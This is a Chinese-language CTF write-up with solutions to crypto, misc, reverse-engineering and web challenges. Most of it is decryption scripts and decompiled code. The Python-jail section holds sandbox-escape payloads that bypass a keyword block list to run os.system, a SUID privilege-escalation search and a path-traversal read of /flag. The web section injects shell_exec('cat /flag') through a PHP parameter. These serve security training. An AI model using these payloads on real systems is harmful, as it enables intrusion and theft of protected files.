自从newstar之后已经好久没见过持续时间这么长的比赛了,比赛题目还是有难度的,不过最后费了一些劲还是AK了所有的Reverse、第二周的misc和crypto。
Crypto方向:
river:
由于是对称加密,直接将密文回带就可以得到明文,十六进制转换得到flag{two_dift3rs_0ff_t0_s33_th3_w0rld}.
全网呼叫密码人:
如脚本所示:
1 | from Crypto.Util.number import * |
得到flag:flag{11+belie5!_U_are_the_best_in_crypto_challenge_and_have_fun}.
OTP?:
观察发现是把一长串明文和flag进行循环异或,flag有27字节,明文则是27*22字节,将明文对于flag的已知部分进行异或可以得到一部分明文,发现是英文词句,然后对未知部分进行枚举,限制明文和flag的字符集:
1 | from Crypto.Util.number import * |
输出:
1 | 可能的flag字节5:M, 对应明文: bytearray(b'ere tbOstnn gyS, ia s') |
则flag为flag{Many_Time_Pad_1s_fun!}.
这还不签到?:
把加密过程倒过来就行了,脚本:
1 | fv = 180966415225520073565056051181248297290575705125476923438739000037655473277 |
flag:flag{1t_i3$n0t#diFicult_@t-all}.
ez_HNP:
本题公钥n不大,可以直接分解:
1 | n = 6953568275008329676258828109613762539650527325530995927801460857192130247006862323130968705462697653596124969322108944736820990836508861648601474968768223 = 65260483526602518839784843845912531242888361084882390874073837444262281165409 * 106550976934974827530180341120641270147665720222992379243269395852614293066047 |
输出结果:
1 | b"\x1d\xa73We're swaying on horseback,The hills are green,And the birdie" |
flag{Stand_up,gaL1op_on,N07h1ng_c4n_Be_dOne_by_f33l1nG_5o_5ORry_for_y0ursE1f}.
MTP again:
观察发现,flag是与和自己一样长度的随机OTP进行了8倍于自己长度的异或,flag原长度为70字节,共计560个二进制位,而密文也有560个,且注意到加密所用到的密钥被严格要求汉明重量为自身长度的一半(即对于560个二进制位,其中有280个1,280个0),则有以下关系:
1 | 1. HammingWeight(OTP0~560) = 280 |
有:
又因为异或满足性质:
1 | a xor b = a + b - 2 * a * b |
所以有:
化简得到:
其中左侧的(1-2*enc)是待求矩阵的系数,flag每一位的取值只能是0或1,等号右侧为常数项,于是我们获得了560个线性方程,而flag恰好有560个二进制位,因此可以得到结果,编写脚本进行解矩阵:
1 | import numpy as np |
得到flag:flag{__seesee_Neutrality_of_SEETF_2022_it_is_easy_just_LLL&&algebra__}.
AL(L IN MY)GO:
脚本:
1 | from Crypto.Util.number import inverse, long_to_bytes |
运行得到flag:flag{5uch_@_simp13_Algo!!!!!rithm_qu3sti0n_willl_not_bee_dificult_4_U!}.
Ave Mujica 2:
先看题目流程:将flag转换为整数m,然后使用l2d函数将m转换为一个DNA序列dna1,再通过dbp函数得到dna1的互补链dna2,接着对dna2进行两次突变操作,生成十个不同的dna3并输出,而突变有三种情况,每次操作会随机选择其中一种:删除一个随机位置的碱基、在随机位置插入一个随机的碱基、替换一个随机位置的碱基为另一个碱基,则经过两次操作后,最短的情况和最长的情况长度相差为4,列出这十个样本:
1 | AGAGAGCTAGCTAAGACACGCATCAACAAACATACTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCGACTAACAAAGAAACTGAGAAAGATACCA |
则最长的那个去掉多出来的四个字符的其中两个后就是原来的链dna2,编写解密脚本:
1 | import itertools |
输出:
1 | 互补链dna2: AGAGACTAGTAAGACACGCATCAACAAACATCTCACAAAGCAAGGATCCCATCAAGCCACTGACATAGGAACTCTGTAAATCAGGTAGAAAACCAGTCAGCCAGCAGACTAACAAAGAAACTGAGAAAGATACACA |
得到flag:flag{Mutsumi?Mortis!She_conquered}.
Misc方向:
kotlin?:
玩了两把就过了,flag{it_is_not_funny_to_use+korge}.
r!g!b!:
发现是把一个任意二进制文件加密成bmp图像,通过带入找规律得到以下规律:输入的内容会三个字节一组按小端序填入一个像素的RGB,然后再由程序判断图像的长宽(填充成正方形),然后每一行有若干个像素(像素过多时还会填充一个额外的像素用于分隔),行与行之间也按小端序写入,发现secret.bmp有1063914字节,去掉bmp文件头(54字节)有1063860字节,而bmp图像为595*595,按填充计算为596*595*3,恰好为1063860字节,编写脚本恢复原文件的数据:
1 | def process_and_reverse_bmp(file_path, output_file_path, width=596, height=595, header_size=54): |
得到恢复文件后再将其带入程序进行加密,发现输出图像与原图像的二进制数据一模一样,证明恢复成功,查看恢复文件,发现了明显的ZIP文件开头,将其打开后发现了flag.docx,得到flag{17f8c2dea9b8aae825b25b406a071c43}.
嘟嘟噜:
在jpg文件尾前面找到一个密钥VC_is_1n7erst1n9
,用veracrypt解密1文件得到一个磁盘,挂载后打开得到一个fake.txt
,又给了一个新的密钥flag_is_hide
,再次解密得到一个隐藏磁盘,打开后有一个flag(maybe).txt
,内容为hex的base64,解密得到flag:flag{VC_is_S0o00o_ea5Y!!!}.
Escape from Dreams:
发现是黑盒,很多模块被禁用了,system等词也变成了过滤词,尝试了一大通之后发现_getframes没有被过滤,先获取当前文件路径:
1 | >> print(sys._getframe(1)) |
1 | <frame at 0x7e1d64a49a80, file '/home/ctf/server.py', line 40, code jail> |
得到当前文件路径,接下来打印当前文件内容:
1 | >> print(''.__class__.__base__.__subclasses__()[118]("dummy","/home/ctf/server.py").get_data("/home/ctf/server.py")) |
1 | b'from pyfiglet import Figlet\r\nimport sys\r\n\r\nf = Figlet(font=\'slant\')\r\nprint(f.renderText(\'Inception\'))\r\n\r\nban = [\'__loader__\', \'__import__\', \'compile\', \'eval\', \'exec\', \'chr\',\'locals\',\'globals\',\'bytes\',\'type\',\'open\']\r\nmy_eval_func = eval\r\nmy_input_func = input\r\n\r\nfor m in ban:\r\n del __builtins__.__dict__[m]\r\n#\xe6\xb2\x99\xe7\xae\xb1\xe9\x80\x83\xe9\x80\xb8\r\ndel __loader__,__builtins__\r\n\r\n\r\ndef jail():\r\n print("Welcome to the Us3rr0r\'s dream")\r\n print("Let\'s break free from this layer of dreams")\r\n print("I heard that there is a problem with Us3rr0r\'s totem")\r\n print("Enter \'exit\' to exit (*A*)")\r\n while True:\r\n input_data = my_input_func(">> ")\r\n if "help"in input_data:\r\n print("I can\'t help you QAQ")\r\n continue\r\n if "breakpoint" in input_data:\r\n print("You can\'t break the dream QWQ")\r\n continue\r\n if input_data == "exit":\r\n print("Goodbye (>^<)")\r\n break\r\n if "__builtins__" in input_data:\r\n print("Dreams do indeed have built-in flags p(ovo)q ~\xe2\x99\xaa ~\xe2\x99\xaa")\r\n continue\r\n if "system" in input_data:\r\n print("There are no errors in the dream system (\xe2\x95\xaf\xc2\xb0\xe2\x96\xa1\xc2\xb0\xef\xbc\x89\xe2\x95\xaf")\r\n continue\r\n try:\r\n my_eval_func(input_data)\r\n except Exception as e:\r\n print("Error:",e)\r\n\r\nif __name__ == "__main__":\r\n jail()\r\n\r\n' |
得到当前文件的Python脚本:
1 | from pyfiglet import Figlet |
根据过滤规则构造payload:
1 | >> getattr(f.renderText.__globals__['sys'].modules['os'], 'sys'+'tem')('ls -l') |
1 | total 92 |
发现flag只有root才能查看,因此还需要提权,查看能提权的程序:
1 | >> getattr(f.renderText.__globals__['sys'].modules['os'], 'sys'+'tem')('find / -type f -perm -4000 2>/dev/null') |
1 | /bin/umount |
发现了一个特殊的程序/totem
,试着执行:
1 | >> getattr(f.renderText.__globals__['sys'].modules['os'], 'sys'+'tem')('/totem') |
发现里面是个cat
指令,用其查看flag:../../../../flag
发现返回了flag的上半段:flag{h3y-h@Ve-y0U_eV3r,接着寻找下半段:
1 | >> getattr(f.renderText.__globals__['sys'].modules['os'], 'sys'+'tem')('find . -type f -size -30c') |
发现了./tmp/.flag
查看:
1 | >> getattr(f.renderText.__globals__['sys'].modules['os'], 'sys'+'tem')('cat /./tmp/.flag') |
得到下半段:_533n-lncEpT10N61e11d}
拼合得到flag:flag{h3y-h@Ve-y0U_eV3r_533n-lncEpT10N61e11d}.
猜猜在哪:
图片显示是一个动物园,语言是捷克语,右上角有一个LESY字样的logo,搜索lesy zoo搜到了页面,是一个微型动物园,用Zookoutek Kunraticez
作为密码,成功解压,但是得到的内容却是乱码,提取后得到籯籵籪籰粄籱籪籿籮籨籯籾籷籨籲籷籨籙类籪籰籾籮粆
,rot8000得到flag:flag{have_fun_in_Prague}.
kotlin?revenge:
不知道为什么进不去游戏,直接开逆!jadx反编译找到了一个叫aes_iv
的class:
1 | public final class aes_iv { |
观察得到了密文的十六进制6d5a46c10a49b801c93098bf5904c1df4e95f800649807ac3b88f96998ad08c223b1b4b5b1c3c94a0da480104f0dd4e7
和iv1234567890abcdef
,下面还有个密钥转换的函数,提取原密钥中的a_true_key
部分替换为key_is_true
,查找xref,在第五层的main函数找到引用:
1 | final class fifth$sceneMain$3 extends SuspendLambda implements Function2<MouseEvents, Continuation<? super Unit>, Object> { |
那么密钥就是this_key_is_true,用AES-CBC解密,得到的flag却含有不可打印字符:flag{this_$9=5#howmaker_will_not_appear},再次查看,发现还有一个AES的类:
1 | public final class AES { |
则真正的iv是1234567890123456
,flag:flag{this_time_showmaker_will_not_appear}.
反方向的钟:
题目提示了是midi的LSB隐写,用Python的mido库提取信息:
1 | import mido |
得到输出:
1 | b'flag{cAn_y0u_g0_b@ck_to_t3e\x1ftime_wh3n_yOu_l0v3d_me}\x105\x11\xa4\x00\x05\xf4\xb0\x03\xf8\x05h\x00\x00V\xc6\x10\x01\x82\x81 \x10\xd0\x05i@0$\x00T\x08 \x100\xa8\x01P\xc0\xf4(\x0c\x08\x10\x02\x93\x0e``\x14\x04b\x85!\x0b\x10\x06\xc4 \x80\x08\x10\x00@\x15\x8d\x007r\x18\x00\x8c\t@\x02c \x0b\x89\x81\x83\x0c($\xc0\x021\x83\x07\x08\x840\x01 \x00`\x03@\x00\x08@\nJ\x08a\x84\x81!\x00\x11\xb0HX\x00\xc4\x15\x1a\x00\x00*\x00\x82\x80h\xce\x01 C1)@\x00\x08\x88\x0eJ!\x90(\x000#0`\t8\x11\x00(\x10\x04\xf2`\x02Ea\x92\x00EF\x80r\xa0\x10B"\x80\x80\x00\xb2&@F\xd0\x01\xa0\xc0\x10\x80n\x00\x18\x0e\x00\x06\x14\xf4\x84\x00\x00\xc2\x0e@\x11" \x11\x02\xaa\x00\x02\x05I\x00\x00\x04\x80\x00k%\x08\x18\x06\xa0\x01\x90 \x93\x84\x00\x00\x8f\xa1\xa0\x04\xa4(\xc0\x92\x08\x80:J\x92D\x00\x12\xf98\x01\x03T\x1a\t\x00\x06\x10\x06\x81\x13\x80\xa0\x00$\x80\x12\x04Q\x10\x01@\xc2\xd9\x11\x00\x10@\x00\xc1\x01\x8c\xd0\x81\x8c\x00\x84\x05\x00\x04\x14\x80kD\xc8\xd0c1\xc0\x08 \x00@\x00\x06\xc90\x00<\x02P\x02\x08\xe1\x03`\x00\x9bU@\x18\x00-\x8e\x08\x02\x8d\xd4X[\x14\xb4\x80\x00h\xd0\\\x00Y`\t\x93\xab\xa8\x00\x04l\x03@\x13\\\x00l4\x04\x06\n\x12\x05\x04\x04u\xa0\x00\x80\x00\x06A\x04x\x058 \x06PE\x00\x0b\x91\xe4 \x08\x0c\x10\x80\x80\x00\x19\x03\x80`\x032\x002\x84\x1d$\x04\x00 L$\x08\x88\x11\xa2\xc6\x82\x04\x00\x07E\x16\x03\xc0\x1c \x95\x00\x84j\x80\x08\xd1\x00\x0c8A\x8b\x00\x03q\x12\x00\x16\x14\x01\n"\xa0\x12\x80\x00\x940\x00\tx\x01\x0c\x08\x13\xa8@\x00\x1a\x98\x80\x04\x8e\x81@\x1c\x84\x06\x98\x900\x00\x10\x000)\x00\x03\\\x10\x00"\x80\xa1\x04(\x04\x04\xef \x00\x02C@\x05@\xa2f\x04`\x00\x10\x11@P\x00\x03\x06\x00\x00|p\x01\x16\x02\x01 \x02\x83\x00\x00\xbe \x80%\x99\x11\x89\x16\x80\xc0\x00\x07!\x00\x00\x84\xa6\x00\x07\x03DD\xc1\x81\x81\t!\x00\x00`\xc1\x00\x10\x84\x15P\x8aF\x00\x06Edt\x00\x16\x10\x0b"\x14\x92H\x08\x00/\xad\x80\x00\x00B\xa0 \x01\x15F\x00\x07\x8e$D\x88\x01\x82\xc0Z\x80\xf0#@\x99A\x84\x9a\x00w\xc5\x02Y\x00\x10d\x04\x10\x008\n\x80\x99\x00\xd1\x00\x05\x18\xe3 5\x1c\xa8\x01\x10\x81\x04\x00\x19\x01\xc7\x08\r\x19\x82\xa5\x00\x11@z$\x90\x01\x04\x0e%\x00D\x00\x8e\xa8RH\x00\xe1P\\t\xa0\x02t\x0e\x81\x06\x02 \x04\x1b\xa1\x12\xd5(<\x80\x00\x00' |
发现前几十个字节就是flag:flag{cAn_y0u_g0_b@ck_to_t3e\x1ftime_wh3n_yOu_l0v3d_me},但这里中间有一个不可打印字符,猜测本来应该是下划线,得到flag:flag{cAn_y0u_g0_b@ck_to_t3e_time_wh3n_yOu_l0v3d_me}.
Reverse方向:
esrever:
用ida反编译后发现main函数和start函数都比较诡异,且程序中还有大量的无法构成函数的代码段,在汇编界面查看发现main函数只有短短几行汇编,这肯定是不正确的,将所有函数取消定义后只转成汇编指令,发现在loc_1312的上面还有一些本应该出现在main中的指令,仔细观察后推断该程序的逻辑应该如其名一样,是倒着执行的,例如在开始的start附近的代码块:
1 | .text:00000000000012C8 loc_12C8: ; CODE XREF: .text:00000000000012B9↑j |
这里能很明显的观察到,在loc_1312的上方代码块中,从下到上才是正确的main函数执行逻辑,启动调试,忽略所有的信号,直接让程序跑到loc_1312的上方,观察程序逻辑,发现汇编指令确实是倒着运行的,大致运行逻辑为:
1 | printf("Input your flag:"); |
之后call了一个代码块,也是倒着运行的:
1 | .text:0000638E6BC424B8 |
这个代码块主要比较了flag的格式,得知flag长度为0x18(24),然后又回到main,跳转到下一个正向执行的代码块,在最后的jnz并未跳转之后继续向下执行,不久就卡死并退出了,尝试分析其他能正常反编译的函数:
1 | void sub_10A0() |
1 | unsigned __int64 __fastcall sub_1410(__int64 a1, __int64 a2, __int64 a3) |
推测这几个能正常编译的函数控制了整个程序其他部分代码的执行顺序,就像一个逻辑分发器,每条汇编指令都由这个分发器判断下一条的地址,而非顺序执行,整个程序的.text区段从0x10A0起始,先是两个逻辑支撑函数sub10A0和sub10B0,紧跟着的就是main的倒置汇编指令,接着是start函数(地址0x1320)和几个其他函数,然后是用于处理信号和计算返回地址的sub1410,跟着又是一段倒置的汇编指令,判断了flag的基本结构(flag{和}以及24字节的长度),再之后就是sub14FE以及一大串倒置的汇编指令(推测是加密函数的倒置),对main以及其他被混淆的函数进行倒置重排,分析出程序的逻辑:
1 | .text:000000000000131E xchg ax, ax.text:0000000000001314 nop word ptr [rax+rax+00000000h] |
查看关键函数loc_188E,发现函数虽然很长但是有用的操作并不多,带入的字符串分别与三个固定字节进行异或得到三个加密结果,并与密文进行比较来判断是否正确,提取密文unk_4040:[0x13, 0x1C, 0x17, 0x52, 0x13, 0x52, 0x52, 0x45, 0x14, 0x3E, 0x3E, 0x11, 0x45, 0x50, 0x05, 0x3E, 0x16, 0x51, 0x1A, 0x0F, 0x00, 0x06, 0x07, 0x0D],直接用单字节异或爆破,得到异或值为0x61,flag为:flag{nw0d_$1_pu_3$r3v3r}.
cccc:
由于是C#程序所以并不是很好分析,动态调试后推断关键流程在所给的dll文件中,发现dll文件有confuser保护器,函数名称等全是乱码,并且还有控制流平坦化混淆,先用de4dot把乱码的名字去掉,然后用dnspy打开,找到一个关键类:
1 | using System; |
提取密文:[f8 b1 1e e8 7f 99 de 4e 84 b4 15 21 b6 8e d1 2a 8b 9a 4d e7 8f da 23 c0 a9 62 63 e7 02 41 90 88 77 75 ba 32 c6 b0 84 24 a6 a8 45 f6 cd 9c 8a 32],共计44字节,然后分析加密流程,可以注意到是用GClass0
中的smethod0
先将输入的字符串进行处理,同时用Module
中的smethod6
对一个整数进行处理,然后将两个的处理结果传入Gclass0
的smethod1
进行最后处理,输出字节数组,推测Module
中的smethod6
是用于生成密钥的,dnspy动态调试取得密钥:doyouknowcsharp
,再看Gclass0
中的method
,注意到以下代码段:
1 | // Token: 0x06000078 RID: 120 RVA: 0x0000883C File Offset: 0x00006A3C |
发现了很明显的RC4特征,推测是多异或了一个100(十进制)的RC4,在cyberchef解密,得到flag:flag{y0u_r34lly_kn0w_m@ny_pr0gr@mm1ng_l@ngu@g3$}.
babyVM:
查看main:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
发现程序主逻辑很简洁,就是单纯的输入32字节的flag然后用VM加密并和密文比较,提取密文:[0xE5, 0xDF, 0xF0, 0xA1, 0xF4, 0xBD, 0x6A, 0xDB, 0x1B, 0xE9, 0xDD, 0x20, 0x0D, 0x9D, 0x21, 0x59, 0xD0, 0xB3, 0x59, 0x29, 0xB9, 0xEC, 0x2F, 0xC0, 0x22, 0x7E, 0xAD, 0xE1, 0xB0, 0x15, 0xB6, 0x29],接下来查看VM的逻辑:
1 | void *__fastcall VM(char *dest) |
分析完成后用python脚本进行同构:
1 | import time |
分析输出的指令流,发现先进行了一个类似于strlen的函数求了字符串的长度,如果不是0x20就退出程序,然后加载密钥到内存区域,随后将密文按两个dword一组(共计4组,8个dword,32字节)进行加密,每组加密循环0x30(48)轮,并且通过分析发现了很强的XTEA特征,同时还发现了标志性的4个dword构成的密钥[0x766F6843, 0x6E695F79, 0x5F79656Bh, 0x5F363377]:
1 | op 318: 0x2, 0x3, 0x2, 0x4, 0xfffffff8, 作用: mov reg[2] = 0xa4, memory[59] = 0x0 |
编写同构加密脚本并进行解密:
1 | def bytes_to_dwords_little_endian(byte_array): |
得到flag:flag{D0_yOu_l1k3_VmmmmMMMMMmmm?}.
ugly_world:
又是一个体力活,发现程序本身很简单:
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
flag有40位(密文:[0x58, 0xbe, 0xd3, 0x0b, 0xfb, 0xbb, 0x73, 0xbe, 0x4e, 0xaf, 0xc8, 0xc8, 0x86, 0x7d, 0x3c, 0x0b, 0x09, 0x7c, 0x25, 0xc0, 0xb0, 0xe0, 0x8f, 0x1d, 0x0c, 0x18, 0x37, 0x88, 0x23, 0x9d, 0xcf, 0xf5, 0x99, 0xb5, 0xa8, 0xb7, 0x3d, 0x0f, 0x63, 0xae]),一次带入8个字节进行加密,但是加密函数居然有将近5000行,不过程序本身函数总数很少,分析加密过程中用到的所有函数,发现一共有8种,其中又有三种是主要的五种加密的子函数,经过分析发现这些函数虽然看起来很复杂但实际上的效果很简单,分别对应整数加和、从密钥中提取一个dword、算术右移、左移和三元异或,并且整个加密过程一直在循环,共计有128轮循环,列举一个循环:
1 | v2051 = *a1; //初始化 |
提取题目中一个循环的加密过程,仔细研究后发现是魔改的TEA加密,共有128轮,每轮的delta和位移均不同,用python脚本提取数据:
1 | def bytes_to_dwords_little_endian(byte_array): |
得到flag:flag{UG1y_T3A_m@k35_[m3]_fe31_NaU5Eou5!}.
randomXor:
查看main:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
发现是一个固定的随机数异或加密,flag长度为128字节,但是直接用系统的srand和rand模拟发现输出的是乱码,仔细查看后发现这里的srand和rand都是自定义函数,由于异或的自反性,直接把这些函数复制粘贴,提取密文,进行解密:
1 |
|
运行得到flag:flag{R4ndom_rand0m_happy_Funnny_R4ndom_1s_r3ally_funNy!!_hhh233HHH_this_1s_just_a_pi3ce_of_sh1t_fffkkkkkk_f4ck_jjjjKKKKKjjjjasd}.
simple:
先在java层找到验证函数逻辑:
1 | public class CheckActivity extends AppCompatActivity { |
发现flag长度为32,查看libcheck.so内的加密逻辑:
1 | __int64 __fastcall sub_1C430(__int64 a1, __int64 a2, __int64 a3) |
发现加密是一个自定义的魔改RC4,密钥为this_is_a_key,且密文也已知,但在RC4上方还有一个hook函数:
1 | __int64 sub_1C010() |
发现这里替换了一个函数,查看sub_1C078:
1 | __int64 __fastcall sub_1C078(__int64 a1, const char *a2, unsigned __int8 *a3) |
查看sub_21345:
1 | void __fastcall sub_21345(unsigned __int8 *a1) |
发现这里使用了一个新的key:Give_it_a_try来带入sub_11073,并初始化了随机数生成种子,查看sub_11073:
1 | void __fastcall sub_11073(const char *a1) |
所以整个验证的逻辑是:读取输入的32字节明文 → 在sub_21345生成用于KSA的新密钥Give_it_a_try来替换原有的密钥kk(this_is_a_key) → 在sub_11073进行KSA → 固定随机数生成器种子0x159357 → 进行魔改的PRGA部分,并8字节进行一次随机左右移位加密 → 与密文进行比较.
先用C++脚本在linux端得到rand的值:0x77a5f458, 0x5cd55fa0, 0xaba2de1, 0x71decc39, 0x71ff587f, 0x435ba25c, 0xda0751, 0x4de87893,然后转换成位移:left 32,right 57,right 28,right 19,编写解密脚本:
1 | enc = [0xCD8413F20B6FCE4C, 0x5C9B1B43933043CF, 0x1C6EB6E1A546128E, 0x77C6E3D7AE009A3E] |
得到结果:c6ebddbe0b6fce4c5c9b1b43933043e11c6eb6e063ad7c9477c6ed2f727a6ffe,在cyberchef用RC4解密,发现解出的数据为:flag{This\_may\_be\_RC4\_al{oriti²:É
,后两个qword有一定的偏差,推测发现这个加密步骤是不可逆的(会丢失信息),在一定范围内通过枚举找到原明文(这里是第三个的例子):
1 | target = 0x1C6EB6E1A546128E |
得到第三个qword的值为:0x1c6eb6e063ad7c88
,第四个qword的值为:0x77c6ed2f73a5744a
,则flag为:flag{This_may_be_RC4_algorithm!}.
base:
查看汇编界面发现有很多花指令:
第一种结构:
1 | .text:004139BD jz short near ptr loc_4139C1+1 ;不论正误全都跳转(有的跳转略有偏移) |
第二种结构:
1 | .text:004139DC call loc_4139E2 ;①这里先传到E2 |
全部抹掉,并且发现还有一个反调试,检测到调试器直接退出,也改为强制跳转,得到正确的main:
1 | int __cdecl main_0(int argc, const char **argv, const char **envp) |
发现程序内一共有4个版本的RC4的PRGA部分,推测加密逻辑:
首先用第一个密钥f75bf3e3f919通过正常的KSA生成了sbox1,然后用PRGA4生成了sbox2,其中PRGA4比正常的PRGA多异或了一个0x47,接着看下面的主要加密过程:
1 | int __cdecl ALL_PRGA(int a1, int a2) |
发现这三个PRGA分别在最后异或了不同数组的值,查看sbox_transform:
1 | int __cdecl gen_sbox(int a1, int a2) |
发现是用明文和sbox2的对应索引发生了置换,此外,还有一个函数:
1 | void *__thiscall sub_412AA0(void *this) |
据此总结出完整的加密流程:
① 用第一个密钥f75bf3e3f919通过正常的KSA生成了sbox1
② 用sbox1进行PRGA4(额外异或0x47)加密原有的sbox2
③ 用第二个密钥363296f1-9353通过正常的KSA生成了sbox3
④ 用sbox2对应索引的值替换输入的明文
⑤ 用sbox3根据不同的索引选择不同的PRGA额外异或对象进行加密(分别额外异或key的第0、1、2个索引)
编写同构加密脚本,发现结果并不正确,回到原点,思考:程序为什么不能调试?经过尝试发现原来在初始化的一些函数会触发异常,nop掉之后正常进入调试,发现前面的逻辑都正确,调试发现,在ALL_PRGA加密完成后,main函数中实际上进行了一次除以零的异常处理,并用异常处理再次加密了数据,加密方式为把明文视作7*6的二维数组并进行了循环异或,加入该逻辑后,编写同构和解密脚本:
1 | def KSA(key, sbox): |
得到flag:flag{2af4101a-201a-4ab9-a664-903577cb9ff0}.
简单的逆向:
查看dll的源代码,发现Main中有一个很明显的假逻辑:
1 | if (text == "flag{i_am_the_true_flag}"){ |
这当然一看就是错的,接着往下看,给出了一个可疑的密文[0x80, 0x78, 0xd6, 0xff, 0x8e, 0xeb, 0x3a, 0x62, 0x9a, 0xcc, 0xa, 0x6b, 0x75, 0x11, 0xc0, 0xc6, 0x3d, 0xa2, 0xda, 0x5f, 0x39, 0xb1, 0xaf, 0x3e, 0x6f, 0x6, 0x28, 0xb2, 0x95, 0xe7, 0xa3, 0x13, 0x24, 0x9, 0xf9, 0xc0, 0x5e, 0x3, 0xec, 0xc9, 0x7b, 0xcb, 0x96, 0x62, 0x3b, 0x8d, 0xea, 0x75, 0xe5, 0x6c, 0x87, 0x28, 0x69, 0x30, 0x59, 0x80, 0xb, 0xbd, 0x23, 0xae, 0xa7, 0xd, 0x37, 0xdc],一个RC4密钥[0x11, 0x45, 0x14],再往下是三个比较,分别对应AES加密、RC4加密和DES加密,其中AES加密的key为A1B2C3D4E5F6G7H8,iv为H8G7F6E5D4C3B2A1,DES的比较是将加密结果的逆序与密文比较,key为Z1Y2X3W4,iv为W4X3Y2Z1,RC4的比较只检查了两个带入字节串的长度相等,首位均为25(0x19),第一个字节串末尾为129(0x81),第二个字节串末尾为0,算法上额外xor了一个100(0x64),再往后还有一个名为<<Main>$>g__wtf|0_0
的函数和一个“你愿意相信我吗?”的提示,而这个函数并不能正确反编译,猜测有SMC,基于现有的三种加密和其独特的比较方式:
① AES_CBC,key,iv,长度比较+全等比较
② DES_CBC,key,iv,长度比较+逆序比较
③ RC4_xor_100,key,长度比较+首位均为25,第一个字节串末尾为129,第二个字节串末尾为0
由于RC4这里的比较最为奇怪(因为密文本身就不满足这个比较条件),猜测密文本身也被修改过,题目提示了ready to run这一格式,用R2Rdump解析where.dll得到程序真正的Main:
1 | 3ab0: 41 57 push r15 UWOP_PUSH_NONVOL R15(15) 0 |
发现一共有四层加密,DES_CBC、两个异或和一个AES_CBC,编写解密脚本:
1 | from Crypto.Cipher import AES, DES |
得到flag:flag{1_@m_th3_$3cr3t_h1dd3n_1n_th3_d3p7h}.
Loading flag…:
发现是一个走得极慢的进度条,按下按钮也不可能合理时间内出结果,ida动态调试找到关键函数:
1 | __m128i *__fastcall sub_7FF7FA0F86A0(__int64 a1) |
尝试修改v2为0xFFFFFFFF之后得到了flag的第一个字符f,但后续要求的进度越来越多,使用cheat engine进行内存操作,由于这里的地址是固定的,直接锁定地址进行修改,编写cheat engine的lua脚本:
1 | local targetAddress = 0x256297C04C8 |
发现进度条确实在走了,但是程序耍赖的是其第n个字符解锁需要走完n**3个进度条,而进度条的判别只有1秒钟一次,动态观察内存发现其上游8个字节有一个int指向进度条的完成个数,直接修改这个字节:
1 | local targetAddresses = { |
多次执行脚本得到完整的flag:flag{b51c3a51a0f278a60b7d966cf8eb236e}.
ezMobile:
查看源代码:
1 | package ctf.myapplication; |
发现有一个TMP文件在运行过程中被解密,并作为dex读取,用frida动态转储:
1 | import frida |
1 | Java.perform(function() { |
1 | def main(target_process): |
得到函数:
1 | package com.example.myapplication; |
发现了一个魔改XXTEA加密和一个base64编码,密钥是从libctf的本地库中生成的,而本地库的该函数则显示BUG,直接动态调试dex得到密钥882059e204adefc5,编写脚本解密:
1 | def bytes_to_dwords_little_endian(byte_array): |
运行脚本得到flag:flag{AnDr01d_r3v3rs3_jUcYuWzBSSOwKxbMD}.
b&w:
发现是双子程序进程间通信,搜索“waiting for”之后找到两个程序的主函数:
black:
1 | __int64 sub_7FF6F4B05EC0() |
发现输入的文本到v5这里已经经过了一层简单的变换,具体变换方式为:
abcdefghijklmnopqrstuvwxyz(不论大小写)→mlkjihgfedcbazyxwvutsrqpon(反向rot13),1234567890→3210987654(其他特殊符号不变),之后带入black中进行加密,运行程序测试发现每次加密结果不一样,研究密文结构,举其中一例:
1 | 1111111111111111:18 08 87 21 c6 fd 11 1b 18 08 87 21 c6 fd 11 1b 12 22 8d 1b 8b 72 fd 21 |
发现明文应该是按两个dword组成一个块带入加密的(8字节),并且在最后还会输出额外的8字节,猜测这是一个用于额外随机加密的密钥,整理上述发现:
① 明文会先在某处(可能是white)进行按字符的重映射,映射效果类似反向的ROT加密
② 变换过的明文按两个dword一组带入进行了某种加密(猜测是TEA类),密钥为16字节:00 11 45 14 19 19 81 00 DE AD BE EF 00 07 02 01
③ 明文还会和某两个随机dword进行某种加密,这两个dword会和密文一起输出
观察flag密文:X2+L9DsxzsH2Y3a9xa6W8Ku81qkJp6/FPspYWrXXxYmNpbnIJBEI5g==对应40字节:
1 | 5f 6f 8b f4 3b 31 ce c1 f6 63 76 bd c5 ae 96 f0 ab bc d6 a9 09 a7 af c5 3e ca 58 5a b5 d7 c5 89 8d a5 b9 c8 24 11 08 e6 |
则对应的flag应为32字节,最后8字节是当时随机生成的密钥,观察上文提到的black程序中的加密函数:
1 | _QWORD *__fastcall sub_7FF6F4B05C00(_QWORD *a1, __int64 a2, __int64 a3, __int64 a4) |
查看加密函数:
1 | __int64 __fastcall sub_7FF7FD5A28B0(__int64 a1, __int64 a2) |
查看详细加密:
1 | __int64 __fastcall sub_7FF7FD5A40A0(int *a1, unsigned int a2, unsigned int a3) |
一看就是TEA加密,只不过delta是个随机值,并且轮数为64轮,编写同构脚本进行模拟,发现密文尾部多出来的8字节并不是delta,而是由2个全0明文加密生成的密文,经过多次尝试发现当字节个数不够8的倍数时会自动补全到8的倍数,用\x00填充,而如果本身就是8的倍数,则会在末尾额外添加8个\x00字节,但是不确定flag的长度是不是8的倍数,所以直接编写脚本爆破delta:
1 |
|
运行输出delta:
1 | Progress: 0/4294967295 (0%) |
用该delta进行解密:
1 | lowercase_map = str.maketrans('abcdefghijklmnopqrstuvwxyz', 'mlkjihgfedcbazyxwvutsrqpon') |
输出flag:flag{Ru57_and_g0_1s_fun_T0_r3v3rs3_XD}.
Web方向:
play a game:
查看源代码,发现游戏结束之后会打开一个php:window.open("check.php?score="+this.score);
,跳转该php,发现输出MTE0NTE0说:你的分数不是它想要的,而MTE0NTE0是114514的base64,带入score=114514后得到了php文件的源代码:
1 |
|
发现可以传入func和arg并执行,构造查看flag的指令:check.php?score=114514&func=echo%20shell_exec(%27cat%20/flag%27);&arg=
返回flag:flag{IF_YOU-fE3L-T1R3D-yOu-Can_PI4y_iT130b5a}.